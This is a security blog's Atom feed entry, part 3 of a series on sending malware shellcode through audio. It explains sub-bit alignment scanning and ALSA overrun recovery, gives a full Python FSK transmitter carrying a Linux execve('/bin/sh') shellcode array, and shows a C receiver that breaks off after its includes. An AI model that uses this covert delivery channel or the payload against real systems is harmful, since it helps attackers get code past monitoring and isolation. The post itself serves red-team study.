<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://cocomelonc.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://cocomelonc.github.io/" rel="alternate" type="text/html" /><updated>2026-05-30T12:53:27+00:00</updated><id>https://cocomelonc.github.io/feed.xml</id><title type="html">cocomelonc</title><subtitle>Cybersec, cryptography, red team, hacking</subtitle><author><name>cocomelonc</name></author><entry><title type="html">Malware shellcode delivery via signal - part 3. Fix straddling, ALSA buffer overrun, and sub-bit alignment. Simple python and C examples</title><link href="https://cocomelonc.github.io/malware/2026/05/28/malware-tricks-58.html" rel="alternate" type="text/html" title="Malware shellcode delivery via signal - part 3. Fix straddling, ALSA buffer overrun, and sub-bit alignment. Simple python and C examples" /><published>2026-05-28T03:00:00+00:00</published><updated>2026-05-28T03:00:00+00:00</updated><id>https://cocomelonc.github.io/malware/2026/05/28/malware-tricks-58</id><content type="html" xml:base="https://cocomelonc.github.io/malware/2026/05/28/malware-tricks-58.html"><![CDATA[<p>﷽</p>

<p>Hello, cybersecurity enthusiasts and white hackers!</p>

<p><img src="/assets/images/205/2026-05-30_15-23.png" alt="malware" class="img-responsive" /></p>

<p>In <a href="/malware/2026/05/26/malware-tricks-57.html">part 2</a>, we formalized our acoustic protocol. It looked great on paper, but the moment we move from a virtual loopback to a real-world environment with a physical microphone and speakers, the reliability drops to near zero.</p>

<p>Why? Two compounding problems. Today, we fix both and turn our receiver into a reliable DSP tool.</p>

<p><em>problem 1: bit straddling.</em> Our protocol uses <code class="language-plaintext highlighter-rouge">300</code> baud at <code class="language-plaintext highlighter-rouge">48.000</code> Hz, giving us exactly <code class="language-plaintext highlighter-rouge">160</code> samples per bit (SPB). The assumption in a naive implementation is that the first sample we read from the microphone is also the first sample of a bit. But the transmitter starts playing whenever it wants - our CPU and sound card are not perfectly synced. If our <code class="language-plaintext highlighter-rouge">160</code>-sample Goertzel window starts at sample <code class="language-plaintext highlighter-rouge">80</code>, it sees <code class="language-plaintext highlighter-rouge">50%</code> of Bit <code class="language-plaintext highlighter-rouge">N</code> and <code class="language-plaintext highlighter-rouge">50%</code> of Bit <code class="language-plaintext highlighter-rouge">N+1</code>. The energy of both <code class="language-plaintext highlighter-rouge">1200Hz</code> and <code class="language-plaintext highlighter-rouge">2200Hz</code> gets “smeared,” leading to corrupted bits and checksum failures.</p>

<p>To solve this without complex Phase-Locked Loops (PLL), we implement sub-bit offset scanning. Instead of processing the audio once, we record a <code class="language-plaintext highlighter-rouge">6</code>-second block and process it <code class="language-plaintext highlighter-rouge">16</code> times, shifting the starting point by <code class="language-plaintext highlighter-rouge">10</code> samples each time.</p>

<p><em>problem 2: ALSA buffer overrun (EPIPE).</em> Part 2’s receiver captured audio with a single call:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">snd_pcm_readi</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">288000</span><span class="p">);</span> <span class="c1">// 6 seconds = 288,000 samples in one shot</span>
</code></pre></div></div>

<p>ALSA’s internal ring buffer is only a few hundred milliseconds deep. Asking for <code class="language-plaintext highlighter-rouge">6</code> seconds of audio in one blocking call almost guarantees an overrun - ALSA’s ring buffer fills up and wraps around before we drain it. When <code class="language-plaintext highlighter-rouge">EPIPE</code> fires, <code class="language-plaintext highlighter-rouge">snd_pcm_readi</code> returns an error code. Part 2 ignores the return value entirely, so <code class="language-plaintext highlighter-rouge">buf</code> is silently left full of zeros or stale data. The Goertzel decoder runs on garbage, and the checksum always fails. No error is ever printed.</p>

<p>The core change is the Brute-force alignment loop. The main function now acts as a coordinator. It captures the sound once and then “punches” through it with different offsets.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define N_OFFSETS    16           // try 16 different alignments
#define OFFSET_STEP  (SPB / N_OFFSETS) // shift by 10 samples each time
</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">t</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">t</span> <span class="o">&lt;</span> <span class="n">N_OFFSETS</span><span class="p">;</span> <span class="n">t</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">t</span> <span class="o">*</span> <span class="n">OFFSET_STEP</span><span class="p">;</span> 
  <span class="c1">// try_offset will attempt to find a valid preamble at this specific offset</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">try_offset</span><span class="p">(</span><span class="n">audio_buffer</span><span class="p">,</span> <span class="n">total_samples</span><span class="p">,</span> <span class="n">offset</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] victory! alignment found at offset %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">offset</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">try_offset</code> function doesn’t just “listen” - it reconstructs the entire bitstream from a specific starting point. If the <code class="language-plaintext highlighter-rouge">40</code>-bit preamble matches and the <code class="language-plaintext highlighter-rouge">XOR</code> checksum is valid, we know we’ve found the bit grid:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// logic inside try_offset</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n_bits</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// we start processing exactly at 'audio + offset'</span>
  <span class="kt">double</span> <span class="n">pm</span> <span class="o">=</span> <span class="n">goertzel</span><span class="p">(</span><span class="n">audio</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">FREQ_MARK</span><span class="p">);</span>
  <span class="kt">double</span> <span class="n">ps</span> <span class="o">=</span> <span class="n">goertzel</span><span class="p">(</span><span class="n">audio</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">FREQ_SPACE</span><span class="p">);</span>
  <span class="n">bits</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">pm</span> <span class="o">&gt;</span> <span class="n">ps</span><span class="p">)</span> <span class="o">?</span> <span class="mi">1</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In the second part, the checksum was simply a check. In the third part now, it’s an indicator of brute force success. If the checksum doesn’t match, we don’t fail with an error, we simply move on to the next offset.</p>

<h3 id="practical-example">practical example</h3>

<p>The part 2 receiver captures the full <code class="language-plaintext highlighter-rouge">6</code>-second audio buffer with one call and ignores the return value:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">total</span> <span class="o">=</span> <span class="n">CAPTURE_SECS</span> <span class="o">*</span> <span class="n">SAMPLE_RATE</span><span class="p">;</span>   <span class="c1">// 288,000 samples</span>
<span class="kt">int16_t</span> <span class="o">*</span><span class="n">buf</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">total</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="kt">int16_t</span><span class="p">));</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] listening for 6 seconds...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">snd_pcm_readi</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">total</span><span class="p">);</span>             <span class="c1">// return value discarded</span>
<span class="n">snd_pcm_close</span><span class="p">(</span><span class="n">h</span><span class="p">);</span>
</code></pre></div></div>

<p>If ALSA’s ring buffer overruns during those 6 seconds, <code class="language-plaintext highlighter-rouge">snd_pcm_readi</code> returns <code class="language-plaintext highlighter-rouge">-EPIPE</code>. Because the return value is never checked, the code proceeds to run the Goertzel decoder on an uninitialized or zeroed buffer. The checksum always fails, and no error is ever shown.</p>

<p><em>so, how can we fix this in this part?</em> First of all, <code class="language-plaintext highlighter-rouge">capture_audio()</code> reads in small <code class="language-plaintext highlighter-rouge">0.1</code>-second chunks (<code class="language-plaintext highlighter-rouge">4800</code> samples). If <code class="language-plaintext highlighter-rouge">EPIPE</code> fires, it calls <code class="language-plaintext highlighter-rouge">snd_pcm_prepare()</code> to reset the device and retries immediately. This ensures the buffer is always fully and correctly filled before decoding begins:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int16_t</span> <span class="o">*</span><span class="nf">capture_audio</span><span class="p">(</span><span class="n">snd_pcm_t</span> <span class="o">*</span><span class="n">h</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">out_samples</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">total</span> <span class="o">=</span> <span class="n">CAPTURE_SECS</span> <span class="o">*</span> <span class="n">SAMPLE_RATE</span><span class="p">;</span>
  <span class="kt">int16_t</span> <span class="o">*</span><span class="n">buf</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">((</span><span class="kt">size_t</span><span class="p">)</span><span class="n">total</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int16_t</span><span class="p">));</span>

  <span class="kt">int</span> <span class="n">got</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">got</span> <span class="o">&lt;</span> <span class="n">total</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">want</span> <span class="o">=</span> <span class="n">total</span> <span class="o">-</span> <span class="n">got</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">want</span> <span class="o">&gt;</span> <span class="mi">4800</span><span class="p">)</span> <span class="n">want</span> <span class="o">=</span> <span class="mi">4800</span><span class="p">;</span>          <span class="cm">/* 0.1 s chunks */</span>
    <span class="kt">int</span> <span class="n">rc</span> <span class="o">=</span> <span class="n">snd_pcm_readi</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">buf</span> <span class="o">+</span> <span class="n">got</span><span class="p">,</span> <span class="p">(</span><span class="n">snd_pcm_uframes_t</span><span class="p">)</span><span class="n">want</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">rc</span> <span class="o">==</span> <span class="o">-</span><span class="n">EPIPE</span><span class="p">)</span> <span class="p">{</span> <span class="n">snd_pcm_prepare</span><span class="p">(</span><span class="n">h</span><span class="p">);</span> <span class="k">continue</span><span class="p">;</span> <span class="p">}</span>  <span class="cm">/* recover overrun */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">rc</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"[=^..^=] read error: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">snd_strerror</span><span class="p">(</span><span class="n">rc</span><span class="p">));</span>
      <span class="n">free</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span> <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">got</span> <span class="o">+=</span> <span class="n">rc</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="o">*</span><span class="n">out_samples</span> <span class="o">=</span> <span class="n">got</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">buf</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Only after a full, verified capture does the receiver run the <code class="language-plaintext highlighter-rouge">16</code>-offset Goertzel scan. The two fixes together - reliable capture and sub-bit alignment scanning - are what make the receiver work in the real world.</p>

<p>So, full source code for transmission logic is looks like the following <code class="language-plaintext highlighter-rouge">transmit_live.py</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="s">"""
transmit_live.py
acoustic shellcode transmitter - part 1: live visualization
author: @cocomelonc
"""</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">sounddevice</span> <span class="k">as</span> <span class="n">sd</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>

<span class="c1"># protocol constants (must match receiver.c exactly)
</span><span class="n">SAMPLE_RATE</span>  <span class="o">=</span> <span class="mi">48000</span>
<span class="n">BAUD_RATE</span>    <span class="o">=</span> <span class="mi">300</span>
<span class="n">FREQ_MARK</span>    <span class="o">=</span> <span class="mi">2200</span>          <span class="c1"># bit 1 (high)
</span><span class="n">FREQ_SPACE</span>   <span class="o">=</span> <span class="mi">1200</span>          <span class="c1"># bit 0 (low)
</span><span class="n">SPB</span>          <span class="o">=</span> <span class="n">SAMPLE_RATE</span> <span class="o">//</span> <span class="n">BAUD_RATE</span> <span class="c1"># 160 samples per bit
</span><span class="n">PREAMBLE</span>     <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0x7E</span><span class="p">])</span>

<span class="c1"># visualization constants
</span><span class="n">WINDOW_BITS</span>  <span class="o">=</span> <span class="mi">24</span>            <span class="c1"># how many bits to show in the sliding window
</span><span class="n">WINDOW_SAMPS</span> <span class="o">=</span> <span class="n">SPB</span> <span class="o">*</span> <span class="n">WINDOW_BITS</span>
<span class="n">TARGET_FPS</span>   <span class="o">=</span> <span class="mi">30</span>            <span class="c1"># smooth animation
</span>
<span class="c1"># linux x86_64 execve("/bin/sh")
</span><span class="n">SHELLCODE</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span>
    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> 
    <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> 
    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x05</span>
<span class="p">])</span>

<span class="k">def</span> <span class="nf">build_frame</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
    <span class="s">"""wraps payload in: preamble + 2-byte big-endian length + payload + XOR checksum.
    this is the wire format that receiver.c expects."""</span>
    <span class="n">cksum</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">payload</span><span class="p">:</span>
        <span class="n">cksum</span> <span class="o">^=</span> <span class="n">b</span>
    <span class="k">return</span> <span class="n">PREAMBLE</span> <span class="o">+</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&gt;H'</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">cksum</span><span class="p">])</span>

<span class="k">def</span> <span class="nf">generate_tone</span><span class="p">(</span><span class="n">bit</span><span class="p">):</span>
    <span class="s">"""generates a sine wave for a single bit."""</span>
    <span class="n">freq</span> <span class="o">=</span> <span class="n">FREQ_MARK</span> <span class="k">if</span> <span class="n">bit</span> <span class="k">else</span> <span class="n">FREQ_SPACE</span>
    <span class="n">t</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">SPB</span><span class="p">)</span> <span class="o">/</span> <span class="n">SAMPLE_RATE</span>
    <span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">sin</span><span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">np</span><span class="p">.</span><span class="n">pi</span> <span class="o">*</span> <span class="n">freq</span> <span class="o">*</span> <span class="n">t</span><span class="p">).</span><span class="n">astype</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">byte_to_signal</span><span class="p">(</span><span class="n">byte</span><span class="p">):</span>
    <span class="s">"""converts a single byte into an audio signal."""</span>
    <span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">generate_tone</span><span class="p">((</span><span class="n">byte</span> <span class="o">&gt;&gt;</span> <span class="n">i</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">)])</span>

<span class="k">def</span> <span class="nf">build_figure</span><span class="p">():</span>
    <span class="s">"""sets up the matplotlib figure for live plotting."""</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">style</span><span class="p">.</span><span class="n">use</span><span class="p">(</span><span class="s">'dark_background'</span><span class="p">)</span>
    <span class="n">fig</span><span class="p">,</span> <span class="p">(</span><span class="n">ax_wave</span><span class="p">,</span> <span class="n">ax_spec</span><span class="p">)</span> <span class="o">=</span> <span class="n">plt</span><span class="p">.</span><span class="n">subplots</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">6</span><span class="p">))</span>
    <span class="n">fig</span><span class="p">.</span><span class="n">suptitle</span><span class="p">(</span><span class="s">'[=^..^=] live acoustic transmission'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s">'#00ff88'</span><span class="p">)</span>
    
    <span class="c1"># waveform plot setup
</span>    <span class="n">line_wave</span><span class="p">,</span> <span class="o">=</span> <span class="n">ax_wave</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">),</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">),</span> <span class="n">color</span><span class="o">=</span><span class="s">'#00ffff'</span><span class="p">,</span> <span class="n">lw</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">ax_wave</span><span class="p">.</span><span class="n">set_ylim</span><span class="p">(</span><span class="o">-</span><span class="mf">1.2</span><span class="p">,</span> <span class="mf">1.2</span><span class="p">)</span>
    <span class="n">ax_wave</span><span class="p">.</span><span class="n">set_axis_off</span><span class="p">()</span>
    
    <span class="c1"># spectrum plot setup (FFT)
</span>    <span class="n">freqs</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">fft</span><span class="p">.</span><span class="n">rfftfreq</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">,</span> <span class="n">d</span><span class="o">=</span><span class="mf">1.0</span><span class="o">/</span><span class="n">SAMPLE_RATE</span><span class="p">)</span>
    <span class="n">line_spec</span><span class="p">,</span> <span class="o">=</span> <span class="n">ax_spec</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">freqs</span><span class="p">,</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">freqs</span><span class="p">)),</span> <span class="n">color</span><span class="o">=</span><span class="s">'#ffaa00'</span><span class="p">,</span> <span class="n">lw</span><span class="o">=</span><span class="mf">1.5</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_xlim</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">4000</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_ylim</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_xlabel</span><span class="p">(</span><span class="s">'frequency (Hz)'</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_ylabel</span><span class="p">(</span><span class="s">'magnitude'</span><span class="p">)</span>
    
    <span class="n">plt</span><span class="p">.</span><span class="n">tight_layout</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">fig</span><span class="p">,</span> <span class="n">line_wave</span><span class="p">,</span> <span class="n">line_spec</span>

<span class="k">def</span> <span class="nf">transmit_live</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
    <span class="c1"># build framed signal: preamble + length + payload + checksum
</span>    <span class="n">frame</span>  <span class="o">=</span> <span class="n">build_frame</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
    <span class="n">body</span>   <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">byte_to_signal</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">frame</span><span class="p">])</span>
    <span class="n">lead</span>   <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">SAMPLE_RATE</span> <span class="o">*</span> <span class="mf">0.5</span><span class="p">),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>
    <span class="n">signal</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">lead</span><span class="p">,</span> <span class="n">body</span><span class="p">,</span> <span class="n">lead</span><span class="p">])</span>
    <span class="n">total_samples</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">signal</span><span class="p">)</span>

    <span class="n">cksum</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">payload</span><span class="p">:</span> <span class="n">cksum</span> <span class="o">^=</span> <span class="n">b</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] shellcode : </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] frame     : </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">frame</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes  (</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">frame</span><span class="p">)</span><span class="o">*</span><span class="mi">8</span><span class="si">}</span><span class="s"> bits)"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] checksum  : 0x</span><span class="si">{</span><span class="n">cksum</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] duration  : </span><span class="si">{</span><span class="n">total_samples</span><span class="o">/</span><span class="n">SAMPLE_RATE</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s"> s"</span><span class="p">)</span>

    <span class="c1"># setup visualization
</span>    <span class="n">fig</span><span class="p">,</span> <span class="n">line_wave</span><span class="p">,</span> <span class="n">line_spec</span> <span class="o">=</span> <span class="n">build_figure</span><span class="p">()</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">ion</span><span class="p">()</span> <span class="c1"># interactive mode ON
</span>    <span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>

    <span class="c1"># start audio in background
</span>    <span class="k">print</span><span class="p">(</span><span class="s">"[=^..^=] transmitting..."</span><span class="p">)</span>
    <span class="n">sd</span><span class="p">.</span><span class="n">play</span><span class="p">(</span><span class="n">signal</span><span class="p">,</span> <span class="n">SAMPLE_RATE</span><span class="p">)</span>
    <span class="n">start_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">perf_counter</span><span class="p">()</span>

    <span class="c1"># live plot loop
</span>    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">elapsed</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">perf_counter</span><span class="p">()</span> <span class="o">-</span> <span class="n">start_time</span>
        <span class="n">current_sample</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">elapsed</span> <span class="o">*</span> <span class="n">SAMPLE_RATE</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="n">current_sample</span> <span class="o">&gt;=</span> <span class="n">total_samples</span><span class="p">:</span>
            <span class="k">break</span>
            
        <span class="c1"># sliding window logic
</span>        <span class="n">start</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">current_sample</span> <span class="o">-</span> <span class="n">WINDOW_SAMPS</span> <span class="o">//</span> <span class="mi">2</span><span class="p">)</span>
        <span class="n">end</span> <span class="o">=</span> <span class="n">start</span> <span class="o">+</span> <span class="n">WINDOW_SAMPS</span>
        
        <span class="k">if</span> <span class="n">end</span> <span class="o">&gt;</span> <span class="n">total_samples</span><span class="p">:</span>
            <span class="n">end</span> <span class="o">=</span> <span class="n">total_samples</span>
            <span class="n">start</span> <span class="o">=</span> <span class="n">end</span> <span class="o">-</span> <span class="n">WINDOW_SAMPS</span>

        <span class="n">window</span> <span class="o">=</span> <span class="n">signal</span><span class="p">[</span><span class="n">start</span><span class="p">:</span><span class="n">end</span><span class="p">]</span>
        
        <span class="c1"># update waveform
</span>        <span class="n">line_wave</span><span class="p">.</span><span class="n">set_ydata</span><span class="p">(</span><span class="n">window</span><span class="p">)</span>
        
        <span class="c1"># update spectrum (FFT)
</span>        <span class="n">mag</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nb">abs</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">fft</span><span class="p">.</span><span class="n">rfft</span><span class="p">(</span><span class="n">window</span><span class="p">))</span>
        <span class="k">if</span> <span class="n">mag</span><span class="p">.</span><span class="nb">max</span><span class="p">()</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span> <span class="n">mag</span> <span class="o">/=</span> <span class="n">mag</span><span class="p">.</span><span class="nb">max</span><span class="p">()</span> <span class="c1"># normalize
</span>        <span class="n">line_spec</span><span class="p">.</span><span class="n">set_ydata</span><span class="p">(</span><span class="n">mag</span><span class="p">)</span>

        <span class="n">fig</span><span class="p">.</span><span class="n">canvas</span><span class="p">.</span><span class="n">draw_idle</span><span class="p">()</span>
        <span class="n">plt</span><span class="p">.</span><span class="n">pause</span><span class="p">(</span><span class="mi">1</span><span class="o">/</span><span class="n">TARGET_FPS</span><span class="p">)</span>

    <span class="n">sd</span><span class="p">.</span><span class="n">wait</span><span class="p">()</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">ioff</span><span class="p">()</span> <span class="c1"># interactive mode OFF
</span>    <span class="k">print</span><span class="p">(</span><span class="s">"[=^..^=] done."</span><span class="p">)</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">transmit_live</span><span class="p">(</span><span class="n">SHELLCODE</span><span class="p">)</span>
</code></pre></div></div>

<p>and for <code class="language-plaintext highlighter-rouge">receiver.c</code>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * receiver.c
 * real-time FSK acoustic shellcode receiver (Linux / ALSA)
 * author :  @cocomelonc
 */</span>
<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
